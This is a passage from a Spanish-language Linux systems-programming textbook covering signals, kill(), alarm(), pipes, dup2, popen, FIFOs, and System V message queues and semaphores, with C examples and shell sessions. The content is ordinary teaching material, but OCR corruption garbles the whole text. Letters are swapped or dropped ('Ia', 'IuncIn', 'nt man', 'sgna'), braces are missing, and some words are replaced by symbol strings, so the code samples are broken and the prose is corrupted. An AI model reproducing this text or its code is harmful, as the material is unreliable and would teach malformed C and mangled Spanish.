42) SIGRTMIN+10 43) SIGRTMIN+11 44) SIGRTMIN+12 45) SIGRTMIN+13
46) SIGRTMIN+14 47) SIGRTMIN+15 48) SIGRTMA-15 49) SIGRTMA-14
50) SIGRTMA-13 51) SIGRTMA-12 52) SIGRTMA-11 53) SIGRTMA-10
54) SIGRTMA-9 55) SIGRTMA-8 56) SIGRTMA-7 57) SIGRTMA-6
58) SIGRTMA-5 59) SIGRTMA-4 60) SIGRTMA-3 61) SIGRTMA-2
62) SIGRTMA-1 63) SIGRTMA
Ia mayorIa de Ios IdentIIIcatIvos numerIcos son Ios mIsmos en dIIerentes
arquItecturas y sIstemas !X, pero pueden cambIar, por Io que convIene
utIIIzar eI nombre de Ia seaI sIempre que sea posIbIe. IInux ImpIementa Ias
seaIes usando InIormacIn aImacenada en Ia task_st ruct deI proceso. I
nmero de seaIes soportadas est IImItado normaImente aI tamao de
paIabra deI procesador. AnterIormente, sIo Ios procesadores con un tamao
de paIabra de 64 bIts podIan manejar hasta 64 seaIes, pero en Ia versIn
actuaI deI kerneI (2.4.19) dIsponemos de 64 seaIes IncIuso en arquItecturas
de 32bIts.
Todas Ias seaIes pueden ser Ignoradas o bIoqueadas, a excepcIn de
SIGSTOP y SIGKILL, que son ImposIbIes de Ignorar. n IuncIn deI tratamIento
que especIIIquemos para cada seaI reaIIzaremos Ia tarea predetermInada,
una propIa deIInIda por eI programador, o Ia Ignoraremos (sIempre que sea
posIbIe). s decIr, nuestro proceso modIIIca eI tratamIento por deIecto de Ia
seaI reaIIzando IIamadas aI sIstema que aIteran Ia !(/$#,(29 de Ia seaI
apropIada. Ironto veremos cmo utIIIzar esas IIamadas aI sIstema en C.
!na IImItacIn Importante de Ias seaIes es que no tIenen prIorIdades
reIatIvas, es decIr, sI dos seaIes IIegan aI mIsmo tIempo a un proceso puede
que sean tratadas en cuaIquIer orden, no podemos asegurar Ia prIorIdad de
una en concreto. Otra IImItacIn es Ia ImposIbIIIdad de tratar mItIpIes
seaIes IguaIes. sI nos IIegan 14 seaIes SIGCONT a Ia vez, por ejempIo, eI
proceso IuncIonar como sI hubIera recIbIdo sIo una.
Cuando queremos que un proceso espere a que Ie IIegue una seaI,
usaremos Ia IuncIn pause( ). sta IuncIn provoca que eI proceso (o thread)
en cuestIn "duerma" hasta que Ie IIegue una seaI. Iara capturar esa seaI,
eI proceso deber haber estabIecIdo un tratamIento de Ia mIsma con Ia
IuncIn s gna ( ) . AquI tenemos Ios prototIpos de ambas IuncIones.
nt pause(vod);
typedef vod (*sghander_t)(nt);
sghander_t sgna(nt sgnum, sghander_t hander);
Ia IuncIn pause( ) no parece tener demasIada compIIcacIn. no recIbe
nIngn parmetro y retorna -1 cuando Ia IIamada a Ia IuncIn que captura Ia
seaI ha termInado. Ia IuncIn s gna ( ) tIene un poco ms de mIga. recIbe dos
parmetros, eI nmero de seaI que queremos capturar (Ios nmeros en eI
sIstema en concreto en eI que nos encontremos Ios podemos obtener
ejecutando "k -", como ya hemos vIsto), y un puntero a una IuncIn que se
Programacn de Sstemas 46
encargar de tratar Ia seaI especIIIcada. sto puede parecer conIuso, asI
que acIaremos esto con un ejempIo.
#ncude <sgna.h>
#ncude <unstd.h>
vod trapper(nt);
nt man(nt argc, char *argv||)

nt ;
for(=1;<=64;++)
sgna(, trapper);
prntf(Identfcatvo de proceso: %dn, getpd() );
pause();
prntf(Contnuando...n);
return 0;

vod trapper(nt sg)

sgna(sg, trapper);
prntf(Recbda a sea: %dn, sg);

Ia expIIcacIn de este pequeo programa es bastante sImpIe.


nIcIaImente decIaramos una IuncIn que va a recIbIr un entero como
parmetro y se encargar de capturar una seaI ( t rapper ( )). SeguIdamente
capturamos todas Ias seaIes de 1 a 64 hacIendo 64 IIamadas a s gna ( ) ,
pasando como prImer parmetro eI nmero de Ia seaI () y como segundo
parmetro Ia IuncIn que se har cargo de dIcha seaI (trapper).
SeguIdamente eI programa IndIca su I IIamando a getpd() y espera a que Ie
IIegue una seaI con Ia IuncIn pause(). I programa esperar
IndeIInIdamente Ia IIegada de esa seaI, y cuando Ie envIemos una (por
ejempIo, puIsando ControI+C), Ia IuncIn encargada de gestIonarIa (
trapper() ) ser Invocada. Io prImero que hace trapper() es voIver a enIazar Ia
seaI en cuestIn a Ia IuncIn encargada de gestIonarIa, es decIr, eIIa mIsma,
y Iuego saca por Ia saIIda estndar Ia seaI recIbIda. AI termInaI Ia ejecucIn
de trapper(), se vueIve aI punto donde estbamos ( pause() ) y se contInua.
txp@neon:-$ gcc trapper.c -o trapper
txp@neon:-$ ./trapper
Identfcatvo de proceso: 15702
Recbda a sea: 2
Contnuando...
txp@neon:-$
Como podemos observar, capturar una seaI es bastante sencIIIo.
ntentemos ahora ser nosotros Ios emIsores de seaIes a otros procesos. SI
queremos envIar una seaI desde Ia IInea de comandos, utIIIzaremos eI
comando "k". Ia IuncIn de C que hace Ia mIsma Iabor se IIama,
Programacn de Sstemas 47
orIgInaImente, k ( ) . sta IuncIn puede envIar cuaIquIer seaI a cuaIquIer
proceso, sIempre y cuando tengamos Ios permIsos adecuados (Ias
credencIaIes de cada proceso, expIIcadas anterIormente, entran ahora en
juego (ud, eud, etc.) ). Su prototIpo es eI sIguIente.
nt k(pd_t pd, nt sg);
o tIene mucha compIIcacIn, recIbe dos parmetros, eI I deI proceso
que recIbIr Ia seaI, y Ia seaI. I tIpo pd_t es un tIpo heredado de !X,
que en IInux en concreto corresponde con un entero. I sIguIente cdIgo de
ejempIo reaIIza Ia mIsma IuncIn que eI comando "k".
#ncude <sys/types.h>
#ncude <sgna.h>
#ncude <unstd.h>
nt man(nt argc, char *argv||)

pd_t pd;
nt sg;
f(argc==3)

pd=(pd_t)ato(argv|1|);
sg=ato(argv|2|);
k(pd, sg);
ese
prntf(%s: %s pd sgnan, argv|0|, argv|0|);
return -1;

return 0;

Iara probarIo, he programado un pequeo sheII scrIpt que capturar Ias


seaIes SIGHUP, SIGINT, SIGUIT, SIGFPE, SIGALARM y SIGTERM.
#!/bn/sh
echo Capturando sgnas...
trap echo SIGHUP recbda 1
trap echo SIGINT recbda 2
trap echo SIGUIT recbda 3
trap echo SIGFPE recbda 8
trap echo SIGALARM recbda 14
trap echo SIGTERM recbda 15
whe true
do
:
done
SImpIemente saca un mensaje por pantaIIa cuando recIba Ia seaI en
concreto y permanece en un bucIe InIInIto sIn hacer nada. Vamos a envIarIe
unas cuantas seaIes desde nuestro programa anterIor.
Programacn de Sstemas 48
txp@neon:-$ gcc ker.c -o ker
txp@neon:-$./trap.sh
|1| 15736
txp@neon:-$ Capturando sgnas...
txp@neon:-$./ker
./ker: ./ker pd sgna
txp@neon:-$./ker 15736 8
txp@neon:-$ SIGFPE recbda
txp@neon:-$./ker 15736 15
txp@neon:-$ SIGTERM recbda
txp@neon:-$ ./ker 15736 9
txp@neon:-$ pgrep trap.sh
|1|+ Ked ./trap.sh
IrImeramente IIamamos aI sheII scrIpt "t rap. sh " para que se ejecute en
segundo pIano (medIante ""). Antes de pasar a segundo pIano, se nos
InIorma que eI proceso tIene eI I 15736. AI ejecutar eI programa "ker"
vemos que recIbe dos parmetros. eI I y eI nmero de seaI. Irobamos a
mandar unas cuantas seaIes que tIene capturadas y se comporta como es
esperado, mostrando Ia seaI recIbIda por pantaIIa. Cuando Ie envIamos Ia
seaI 9 (SIGKILL, IncapturabIe), eI proceso de "trap.sh" muere.
Fgura 1.5.4 Procesos recbendo seaes, rutnas de captura y proceso
de seaes.
n Ia IIgura anterIor observamos eI comportamIento de dIIerentes
procesos en IuncIn de Ias seaIes que recIben y sus rutInas de
tratamIento de seaIes. eI prImero de eIIos no est preparado para
capturar Ia seaI que Ie IIega, por Io que termInar su ejecucIn aI no
saber cmo tratar Ia seaI. I segundo tIene una rutIna asocIada que
captura seaIes, trapper, por Io que es capaz de capturar Ia seaI
SIG_USR1 y gestIonarIa adecuadamente. I tercer proceso tambIen
Programacn de Sstemas 49
dIspone de Ia rutIna capturadora de seaIes y de Ia IuncIn asocIada,
pero Ie IIega una seaI IncapturabIe, SIG_KI LL, por Io que no es capaz
tampoco de gestIonarIa y termIna su ejecucIn.
xIste una manera de utIIIzar k ( ) de Iorma masIva. sI en Iugar de un I
Ie pasamos como parmetro "pd" un cero, matar a todos Ios procesos que
esten en eI mIsmo grupo de procesos que eI actuaI. SI por eI contrarIo
pasamos "-1" en eI parmetro "pd", Intentar matar a todos Ios procesos
menos aI proceso "nt" y a sI mIsmo. Ior supuesto, esto deberIa usarse en
casos muy seaIados, nunca mejor dIcho O.-).
!na utIIIzacIn bastante potente de Ias seaIes es eI uso de SIGALARM para
crear temporIzadores en nuestros programas. Con Ia IuncIn aarm() Io que
conseguImos es que nuestro proceso se envIe a sI mIsmo una seaI SIGALARM
en eI nmero de segundos que especIIIquemos. I prototIpo de aarm() es eI
sIguIente.
unsgned nt aarm(unsgned nt seconds);
n su nIco parmetro IndIcamos eI nmero de segundos que queremos
esperar desde Ia IIamada a aarm() para recIbIr Ia seaI SIGALARM.
Fgura 1.5.5 La amada a a funcn aarm() generar una sea
SIG_ALARM haca e msmo proceso que a nvoca.
I vaIor devueIto es eI nmero de segundos que quedaban en Ia anterIor
aIarma antes de IIjar esta nueva aIarma. sto es Importante. sIo
dIsponemos de un temporIzador para usar con aarm(), por Io que sI IIamamos
seguIdamente otra vez a aarm(), Ia aIarma InIcIaI ser sobrescrIta por Ia
nueva. Veamos un ejempIo de su utIIIzacIn.
#ncude <sgna.h>
#ncude <unstd.h>
vod trapper(nt);
nt man(nt argc, char *argv||)

nt ;
sgna(14, trapper);
prntf(Identfcatvo de proceso: %dn, getpd() );
Programacn de Sstemas 50
aarm(5);
pause();
aarm(3);
pause();
for(;;)

aarm(1);
pause();

return 0;

vod trapper(nt sg)

sgna(sg, trapper);
prntf(RIIIIIIIIING!n);

ste programa es bastante sImIIar aI que hemos dIseado antes para


capturar seaIes, sIo que ahora en Iugar de capturarIas todas, capturar
nIcamente Ia 14, SIGALARM. Cuando recIba una seaI SIGALARM, sacar
"RIIIIIIIIING" por pantaIIa. I cuerpo deI programa IndIca que se IIjar una
aIarma de 5 segundos y Iuego se esperar hasta recIbIr una seaI, Iuego Ia
aIarma se IIjar a Ios 3 segundos y se voIver a esperar, y IInaImente se
entrar en un bucIe en eI que se IIje una aIarma de 1 segundo todo eI rato. I
resuItado es que se mostrar un mensaje "RIIIIIIIIING" a Ios 5 segundos, Iuego a
Ios 3 segundos y despues cada segundo.
txp@neon:-$ gcc aarma.c -o aarma
txp@neon:-$ ./aarma
Identfcatvo de proceso: 15801
RIIIIIIIIING!
RIIIIIIIIING!
RIIIIIIIIING!
RIIIIIIIIING!
RIIIIIIIIING!
RIIIIIIIIING!
RIIIIIIIIING!
Iara termInar esta seccIn, veremos cmo es reIatIvamente sencIIIo que
procesos creados medIante fork() sean capaces de comunIcarse utIIIzando
seaIes. n este ejempIo, eI hIjo envIa varIas seaIes SIGUSR1 a su padre y aI
IInaI termIna por matarIo, envIndoIe Ia seaI SIGKILL (hay muchos hIjos que
son asI de agradecIdos).
#ncude <sys/types.h>
#ncude <stdo.h>
#ncude <unstd.h>
#ncude <sgna.h>
vod trapper(nt sg)

sgna(sg, trapper);
prntf(SIGUSR1n);

Programacn de Sstemas 51
nt man(nt argc, char *argv||)

pd_t padre, h|o;


padre = getpd();
sgna( SIGUSR1, trapper );
f ( (h|o=fork()) == 0 )
/* h|o */
seep(1);
k(padre, SIGUSR1);
seep(1);
k(padre, SIGUSR1);
seep(1);
k( padre, SIGUSR1);
seep(1);
k(padre, SIGKILL);
ext(0);

ese
/* padre */
for (;;);

return 0;

Con Ia IuncIn s eep( ) , eI hIjo espera un determInado nmero de segundos


antes de contInuar. I uso de esta IuncIn puede IntervenIr con eI uso de
aarm( ) , asI que habr que utIIIzarIas con cuIdado. Ia saIIda de este parrIcIdIo
es Ia sIguIente.
txp@neon:-$ gcc sgnafork.c -o sgnafork
txp@neon:-$./sgnafork
SIGUSR1
SIGUSR1
SIGUSR1
Ked
1.5.6.2 Tuberas
Ias tuberIas o "1(1*!" sImpIemente conectan Ia saIIda estndar de un
proceso con Ia entrada estndar de otro. ormaImente Ias tuberIas son de
un soIo sentIdo, ImagInemos Io desagradabIe que serIa que estuvIeramos
utIIIzando un Iavabo y que Ias tuberIas Iueran bIdIreccIonaIes, Io que
emanaran Ios desagues serIa bastante repugnante. Ior esta razn, Ias
tuberIas sueIen ser ".$%C8&:1%*D", es decIr, de un nIco sentIdo, y se
requIeren dos tuberIas ".$%C8&:1%*D" para hacer una comunIcacIn en Ios dos
sentIdos, es decIr "C:%%8&:1%*D". Ias tuberIas son, por tanto, IIujos
unIdIreccIonaIes de bytes que conectan Ia saIIda estndar de un proceso con
Ia entrada estndar de otro proceso.
Programacn de Sstemas 52
Cuando dos procesos estn enIazados medIante una tuberIa, nInguno de
eIIos es conscIente de esta redIreccIn, y acta como Io harIa normaImente.
AsI pues, cuando eI proceso escrItor desea escrIbIr en Ia tuberIa, utIIIza Ias
IuncIones normaIes para escrIbIr en Ia saIIda estndar. Io nIco especIaI que
sucede es que eI descrIptor de IIchero que est utIIIzando ya no corresponde
aI termInaI (ya no se escrIben cosas por Ia pantaIIa), sIno que se trata de un
IIchero especIaI que ha creado eI ncIeo. I proceso Iector se comporta de
Iorma muy sImIIar. utIIIza Ias IIamadas normaIes para recoger vaIores de Ia
entrada estndar, soIo que esta ya no se corresponde con eI tecIado, sIno que
ser eI extremo de Ia tuberIa. Ios procesos estn autorIzados a reaIIzar
Iecturas no bIoqueantes de Ia tuberIa, es decIr, sI no hay datos para ser
IeIdos o sI Ia tuberIa est bIoqueada, se devoIver un error. Cuando ambos
procesos han termInado con Ia tuberIa, eI Inodo de Ia tuberIa es desechado
junto con Ia pgIna de datos compartIdos.
I uso de un pIpe a mI me recuerda a Ios antIguos "teIeIonos" que
hacIamos mI hermana y yo con dos envases de yogur y una cuerda muy IIna.
!nIamos Ios Iondos de Ios yogures con Ia cuerda, y cuando esta estaba muy
tensa, aI habIar por un yogur, se escuchaba en Ia otra parte. ra un metodo
dIvertIdo de contar secretos, pero tenIa eI mIsmo InconvenIente que Ios
pIpes. sI uno de Ios dos estaba habIando, eI otro no podIa hacerIo aI mIsmo
tIempo o no vaIIa para nada. ra una comunIcacIn unIdIreccIonaI, aI
contrarIo de Io que pasa con Ios teIeIonos modernos.
Fgura 1.5.6 Una tubera es undreccona, como os tefonos de
yogur.
Ia utIIIzacIn de tuberIas medIante eI uso de Ia sheII es "e% 1$9 9:*!,'2
&* #$&$ &E$", cuaIquIer admInIstrador de sIstemas medIanamente preparado
encadena comandos y comandos medIante tuberIas de Iorma naturaI.
txp@neon:-$ cat /etc/passwd | grep bash | wc -nes
11
Ios comandos "cat", "grep" y "wc" se Ianzan en paraIeIo y eI prImero va
"aIImentando" aI segundo, que posterIormente "aIImenta" aI tercero. AI IInaI
tenemos una saIIda IIItrada por esas dos tuberIas. Ias tuberIas empIeadas
son destruIdas aI termInar Ios procesos que Ias estaban utIIIzando.
Programacn de Sstemas 53
!tIIIzar tuberIas en C es tambIen bastante sencIIIo, sI bIen a veces es
necesarIo empIear IpIz y papeI para no IIarse con tanto descrIptor de
IIchero. Ya vImos anterIormente que para abrIr un IIchero, Ieer y escrIbIr en
eI y cerrarIo, se empIeaba su descrIptor de IIchero. !na tuberIa tIene en
reaIIdad dos descrIptores de IIchero. uno para eI extremo de escrItura y otro
para eI extremo de Iectura. Como Ios descrIptores de IIchero de !X son
sImpIemente enteros, un pIpe o tuberIa no es ms que un array de dos
enteros.
nt tubera|2|;
Iara crear Ia tuberIa se empIea Ia IuncIn ppe( ) , que abre dos
descrIptores de IIchero y aImacena su vaIor en Ios dos enteros que contIene
eI array de descrIptores de IIchero. I prImer descrIptor de IIchero es abIerto
como O_RDONLY , es decIr, sIo puede ser empIeado para Iecturas. I segundo
se abre como O_WRONLY, IImItando su uso a Ia escrItura. e esta manera se
asegura que eI pIpe sea de un soIo sentIdo. por un extremo se escrIbe y por
eI otro se Iee, pero nunca aI reves. Ya hemos dIcho que sI se precIsa una
comunIcacIn "C:%%8&:1%*D", ser necesarIo crear dos tuberIas para eIIo.
nt tubera|2|;
ppe(tubera);
!na vez creado un pIpe, se podrn hacer Iecturas y escrIturas de manera
normaI, como sI se tratase de cuaIquIer IIchero. SIn embargo, no tIene
demasIado sentIdo usar un pIpe para uso propIo, sIno que se sueIen utIIIzar
para IntercambIar datos con otros procesos. Como ya sabemos, un proceso
hIjo hereda todos Ios descrIptores de IIcheros abIertos de su padre, por Io
que Ia comunIcacIn entre eI proceso padre y eI proceso hIjo es bastante
cmoda medIante una tuberIa. Iara asegurar Ia unIdIreccIonaIIdad de Ia
tuberIa, es necesarIo que tanto padre como hIjo cIerren Ios respectIvos
descrIptores de IIcheros. n Ia sIguIente IIgura vemos cmo un proceso
padre puede envIarIe datos a su hIjo a traves de una tuberIa. Iara eIIo eI
proceso padre cIerra eI extremo de Iectura de Ia tuberIa, mIentras que eI
proceso hIjo cIerra eI extremo de escrItura de Ia mIsma.
Fgura 1.5.7 E proceso padre y su h|o comparten datos medante una
tubera.
Programacn de Sstemas 54
Ia tuberIa "p" se hereda aI hacer eI f ork( )que da Iugar aI proceso hIjo,
pero es necesarIo que eI padre haga un c ose( )de p|0| (eI Iado de Iectura de Ia
tuberIa), y eI hIjo haga un cose() de p|1| (eI Iado de escrItura de Ia tuberIa).
!na vez hecho esto, Ios dos procesos pueden empIear Ia tuberIa para
comunIcarse (sIempre unIdIreccIonaImente), hacIendo wrte() en p|1| y read() en
p|0|, respectIvamente. Veamos un ejempIo de este tIpo de sItuacIn.
#ncude <sys/types.h>
#ncude <fcnt.h>
#ncude <unstd.h>
#ncude <stdo.h>
#defne SIZE 512
nt man( nt argc, char **argv )

pd_t pd;
nt p|2|, readbytes;
char buffer|SIZE|;
ppe( p );
f ( (pd=fork()) == 0 )
// h|o
cose( p|1| ); /* cerramos e ado de escrtura de ppe */
whe( (readbytes=read( p|0|, buffer, SIZE )) > 0)
wrte( 1, buffer, readbytes );
cose( p|0| );

ese
// padre
cose( p|0| ); /* cerramos e ado de ectura de ppe */
strcpy( buffer, Esto ega a traves de a tuberan );
wrte( p|1|, buffer, stren( buffer ) );
cose( p|1| );

watpd( pd, NULL, 0 );
ext( 0 );

Ia saIIda de este programa no es muy espectacuIar, pero muestra eI


IuncIonamIento deI mIsmo. se crean dos procesos y uno (eI padre) Ie
comunIca un mensaje aI otro (eI hIjo) a traves de una tuberIa. I hIjo aI
recIbIr eI mensaje, Io escrIbe por Ia saIIda estndar (hace un wrte() en eI
descrIptor de IIchero 1). Ior ItImo cIerran Ios descrIptores de IIcheros
utIIIzados, y eI padre espera aI hIjo a que IInaIIce.
txp@neon:-$ gcc ppefork.c -o ppefork
txp@neon:-$ ./ppefork
Esto ega a traves de a tubera
Programacn de Sstemas 55
Veamos ahora cmo ImpIementar una comunIcacIn bIdIreccIonaI entre
dos procesos medIante tuberIas. Como ya hemos venIdo dIcIendo, ser
precIso crear dos tuberIas dIIerentes (a|2| y b|2|), una para cada sentIdo de Ia
comunIcacIn. n cada proceso habr que cerrar descrIptores de IIcheros
dIIerentes. Vamos a empIear eI pIpe a|2| para Ia comunIcacIn desde eI padre
aI hIjo, y eI pIpe b|2| para comunIcarnos desde eI hIjo aI padre. Ior Io tanto,
deberemos cerrar.
! n eI padre.
! eI Iado de Iectura de a|2|.
! eI Iado de escrItura de b|2|.
! n eI hIjo.
! eI Iado de escrItura de a|2|.
! eI Iado de Iectura de b|2|.
TaI y como se puede ver en Ia sIguIente IIgura.
Fgura 1.5.8 Dos procesos se comuncan bdrecconamente con dos
tuberas.
I cdIgo anterIor se puede modIIIcar para que Ia comunIcacIn sea
bIdIreccIonaI.
#ncude <sys/types.h>
#ncude <fcnt.h>
#ncude <unstd.h>
#ncude <stdo.h>
#defne SIZE 512
nt man( nt argc, char **argv )

pd_t pd;
Programacn de Sstemas 56
nt a|2|, b|2|, readbytes;
char buffer|SIZE|;
ppe( a );
ppe( b );
f ( (pd=fork()) == 0 )
// h|o
cose( a|1| ); /* cerramos e ado de escrtura de ppe */
cose( b|0| ); /* cerramos e ado de ectura de ppe */
whe( (readbytes=read( a|0|, buffer, SIZE ) ) > 0)
wrte( 1, buffer, readbytes );
cose( a|0| );
strcpy( buffer, Soy tu h|o habandote por
a otra tubera.n );
wrte( b|1|, buffer, stren( buffer ) );
cose( b|1| );

ese
// padre
cose( a|0| ); /* cerramos e ado de ectura de ppe */
cose( b|1| ); /* cerramos e ado de escrtura de ppe */
strcpy( buffer, Soy tu padre habandote
por una tubera.n );
wrte( a|1|, buffer, stren( buffer ) );
cose( a|1|);
whe( (readbytes=read( b|0|, buffer, SIZE )) > 0)
wrte( 1, buffer, readbytes );
cose( b|0|);

watpd( pd, NULL, 0 );
ext( 0 );

Ia saIIda de este ejempIo es tambIen bastante sImpIe.


txp@neon:-$ dosppesfork.c -o dosppesfork
txp@neon:-$ ./dosppesfork
Soy tu padre habandote por una tubera.
Soy tu h|o habandote por a otra tubera.
Avancemos en cuanto a conceptos terIcos. Ia IuncIn dup( ) dupIIca un
descrIptor de IIchero. A sImpIe vIsta podrIa parecer trIvIaI, pero es muy tII a
Ia hora de utIIIzar tuberIas. Ya sabemos que InIcIaImente, eI descrIptor de
IIchero 0 corresponde a Ia entrada estndar, eI descrIptor 1 a Ia saIIda
estndar y eI descrIptor 2 a Ia saIIda de error estndar. SI empIeamos dup( )
para dupIIcar aIguno de estos descrIptores en uno de Ios extremos de una
tuberIa, podremos reaIIzar Io mIsmo que hace Ia sheII cuando enIaza dos
comandos medIante una tuberIa. reconducIr Ia saIIda estndar de un proceso
a Ia entrada estndar deI sIguIente. I prototIpo de Ia IuncIn dup() es eI
sIguIente.
Programacn de Sstemas 57
nt dup(nt odfd);
nt dup2(nt odfd, nt newfd);
Ia IuncIn dup( ) asIgna eI descrIptor ms bajo de Ios dIsponIbIes aI
descrIptor antIguo, por Io tanto, para asIgnar Ia entrada estndar a uno de
Ios Iados de un pIpe es necesarIo cerrar eI descrIptor de IIchero 0 justo antes
de IIamar a dup( ).
cose( 0 );
dup( p|1| );
Como dup( ) dupIIca sIempre eI descrIptor ms bajo dIsponIbIe, sI cerramos
eI descrIptor 0 justo antes de IIamarIa, ese ser eI descrIptor que se
dupIIque. Iara evItar IIos de cerrar descrIptores con vIstas a ser dupIIcados y
dems, se creo dup2( ), que sImpIemente recIbe Ios dos descrIptores de IIchero
y Ios dupIIca.
dup2( p|1|, 0 );
I sIguIente ejempIo empIea estas IIamadas para concatenar Ia ejecucIn
de dos comandos, "cat" y "wc". I proceso hIjo reaIIza un "cat" de un IIchero, y
Io encamIna a traves de Ia tuberIa. I proceso padre recIbe ese IIchero por Ia
tuberIa y se Io pasa aI comando "wc" para contar sus IIneas.
#ncude <sys/types.h>
#ncude <fcnt.h>
#ncude <unstd.h>
#ncude <stdo.h>
#defne COMMAND1 /bn/cat
#defne COMMAND2 /usr/bn/wc
nt man( nt argc, char **argv )

pd_t pd;
nt p|2|;
ppe(p);
f ( (pd=fork()) == 0 )
// h|o
cose(p|0|); /* cerramos e ado de ectura de ppe */
dup2(p|1|, 1); /* STDOUT = extremo de sada de ppe */
cose(p|1|); /* cerramos e descrptor de fchero que sobra
tras e dup2 */
execp(COMMAND1, COMMAND1, argv|1|, NULL);
perror(error); /* s estamos aqu, ago ha faado */
_ext(1); /* sar sn fush */

ese
// padre
cose(p|1|); /* cerramos e ado de escrtura de ppe */
Programacn de Sstemas 58
dup2(p|0|, 0); /* STDIN = extremo de entrada de ppe */
cose(p|0|); /* cerramos e descrptor de fchero que sobra
tras e dup2 */
execp(COMMAND2, COMMAND2, NULL);
perror(error); /* s estamos aqu, ago ha faado */
ext(1); /* sar con fush */

return 0;

Ia saIIda de este programa es bastante predecIbIe, eI resuItado es eI


mIsmo que encadenar eI comando "cat" deI IIchero pasado por parmetro,
con eI comando "wc".
txp@neon:-$ gcc ppecommand.c -o ppecommand
txp@neon:-$ ./ppecommand ppecommand.c
50 152 980
txp@neon:-$ cat ppecommand.c | wc
50 152 980
Como vemos, Ias IIamadas a comandos y su IntercomunIcacIn medIante
tuberIas puede ser un proceso bastante IIoso, aunque se utIIIza en muItItud
de ocasIones. s por esto que se crearon Ias IIamadas popen() y pcIose().
MedIante popen() tenemos todo eI trabajo sucIo reducIdo a una soIa IIamada
que crea un proceso hIjo, Ianza un comando, crea un pIpe y nos devueIve un
puntero a IIchero para poder utIIIzar Ia saIIda de ese comando como nosotros
queramos. Ia deIInIcIn de estas IuncIones es Ia sIguIente.
FILE *popen(const char *command, const char *type);
nt pcose(FILE *stream);
I sIguIente cdIgo es una muestra cIara de cmo se puede hacer una
IIamada utIIIzando tuberIas y procesos hIjo, de Iorma sencIIIIsIma.
#ncude <unstd.h>
#ncude <stdo.h>
#ncude <stdb.h>
#ncude <fcnt.h>
#ncude <mts.h>
#defne SIZE PIPE_BUF
nt man(nt argc, char *argv||)

FILE *fe;
char *command= s .;
char buffer|SIZE|;
fe=popen( command, r );
whe( !feof( fe ) )

fscanf( fe, %s, buffer );
Programacn de Sstemas 59
prntf( %sn, buffer );

pcose( fe );
return 0;

uestro programa sImpIemente crea un proceso hIjo que ser


reempIazado por una IIamada aI comando " s . ", y se nos devoIver un
puntero a un IIchero que ser eI resuItado de ese comando. Ieemos ese
IIchero y Io escrIbImos por pantaIIa. AI IInaIIzar, cerramos Ia tuberIa con
pcose( ) . Ia saIIda de este programa, es esta.
txp@neon:-$ gcc popen.c -o popen
txp@neon:-$ ./popen
dosppesfork
dosppesfork.c
ppecommand
ppecommand.c
ppefork
ppefork.c
popen
popen.c
IInux tambIen soporta tuberIas con nombre, denomInadas habItuaImente
FGFHs, (F('!, (9 F('!, 2:,) debIdo a que Ias tuberIas IuncIonan como una coIa.
eI prImero en entrar es eI prImero en saIIr. A dIIerencIa de Ias tuberIas sIn
nombre, Ios IIOs no tIene carcter temporaI sIno que perduran aunque dos
procesos hayan dejado de usarIos. Iara crear un IIO se puede utIIIzar eI
comando "mkf fo" o bIen IIamar a Ia IuncIn de C mkf fo( ) .
nt mkffo(const char *pathname, mode_t mode);
sta IuncIn recIbe dos parmetros. "pathname " IndIca Ia ruta en Ia que
queremos crear eI IIO, y "mode " IndIca eI modo de acceso a dIcho IIO.
CuaIquIer proceso es capaz de utIIIzar un IIO sIempre y cuando tengan Ios
prIvIIegIos necesarIos para eIIo. o nos extenderemos ms en Ia creacIn de
tuberIas con nombre ya que su manejo es bastante sImIIar a Io vIsto hasta
ahora.
1.5.6.3 IPC System V
Coas de mensa|es
MedIante Ias coIas de mensajes un proceso puede escrIbIr mensajes que
podrn ser IeIdos por uno o ms procesos dIIerentes. n G!/IInux este
mecanIsmo est ImpIementado medIante un array de coIas de mensajes,
msgque . Cada posIcIn de este array es una estructura de tIpo msgd_ds que
gestIonar Ia coIa medIante punteros a Ios mensajes IntroducIdos en eIIa.
stas coIas, adems, controIan cundo Iue Ia ItIma vez que se escrIbI en
eIIas, y proporcIonan dos coIas de espera. una para escrItores de Ia coIa y
otra para Iectores de Ia coIa.
Programacn de Sstemas 60
Cuando un proceso escrIbe un mensaje en Ia coIa de escrItura, este se
posIcIona aI IInaI de Ia mIsma (tIene una gestIn IIO) sI es que exIste
espacIo suIIcIente para ser aIbergado (IInux IImIta eI nmero y tamao de
Ios mensajes para evItar ataques de enegacIn de ServIcIo). IrevIo a
cuaIquIer escrItura, eI sIstema comprueba sI reaImente eI proceso est
autorIzado para escrIbIr en Ia coIa en cuestIn, comparando Ias credencIaIes
deI proceso con Ios permIsos de Ia coIa. AsImIsmo, cuando un proceso quIere
Ieer de esa coIa, se reaIIza una comprobacIn sImIIar, para evItar que
procesos no autorIzados Iean mensajes Importantes. SI un proceso desea Ieer
un mensaje de Ia coIa y no exIste nIngn mensaje deI tIpo deseado, eI
proceso se aadIr a Ia coIa de espera de Iectura y se cambIar de contexto
para que deje de estar actIvo.
Ia ImpIementacIn prctIca en C de coIas de mensajes queda Iuera deI
aIcance de este texto.
Semforos
!n semIoro es un mecanIsmo deI sIstema para evItar Ia coIIsIn cuando
dos o ms procesos necesItan un recurso. Ios semIoros IC reIIejan
bastante IIeImente Ia deIInIcIn cIsIca de Ijkstra, reaImente son varIabIes
enteras con operacIones atmIcas de InIcIaIIzacIn, Incremento y decremento
con bIoqueo. Cada semIoro es un contador que se InIcIaIIza a un
determInado vaIor. Cuando un proceso hace uso deI recurso asIgnado a ese
semIoro, eI contador se decrementa una unIdad. Cuando ese proceso IIbera
eI recurso, eI contador deI semIoro se Incrementa. AsI pues, eI contador de
un semIoro sIempre regIstra eI nmero de procesos que pueden utIIIzar eI
recurso actuaImente. Icho contador puede tener vaIores negatIvos, sI eI
nmero de procesos que precIsan eI recurso es mayor aI nmero de procesos
que pueden ser atendIdos sImuItneamente por eI recurso.
Ior recurso entendemos cuaIquIer cosa que pueda ser susceptIbIe de ser
usada por un proceso y pueda causar un InterbIoqueo. una regIn de
memorIa, un IIchero, un dIsposItIvo IIsIco, etc. magInemos que creamos un
semIoro para reguIar eI uso de una Impresora que tIene capacIdad para
ImprImIr tres trabajos de ImpresIn sImuItneamente. I vaIor deI contador
deI semIoro se InIcIaIIzarIa a tres. Cuando IIega eI prImer proceso que
desea ImprImIr un trabajo, eI contador deI semIoro se decrementa. I
sIguIente proceso que quIera ImprImIr todavIa puede hacerIo, ya que eI
contador an tIene un vaIor mayor que cero. ConIorme vayan IIegan
procesos con trabajos de ImpresIn, eI contador Ir dIsmInuyendo, y cuando
IIegue a un vaIor InIerIor a uno, Ios procesos que soIIcIten eI recurso tendrn
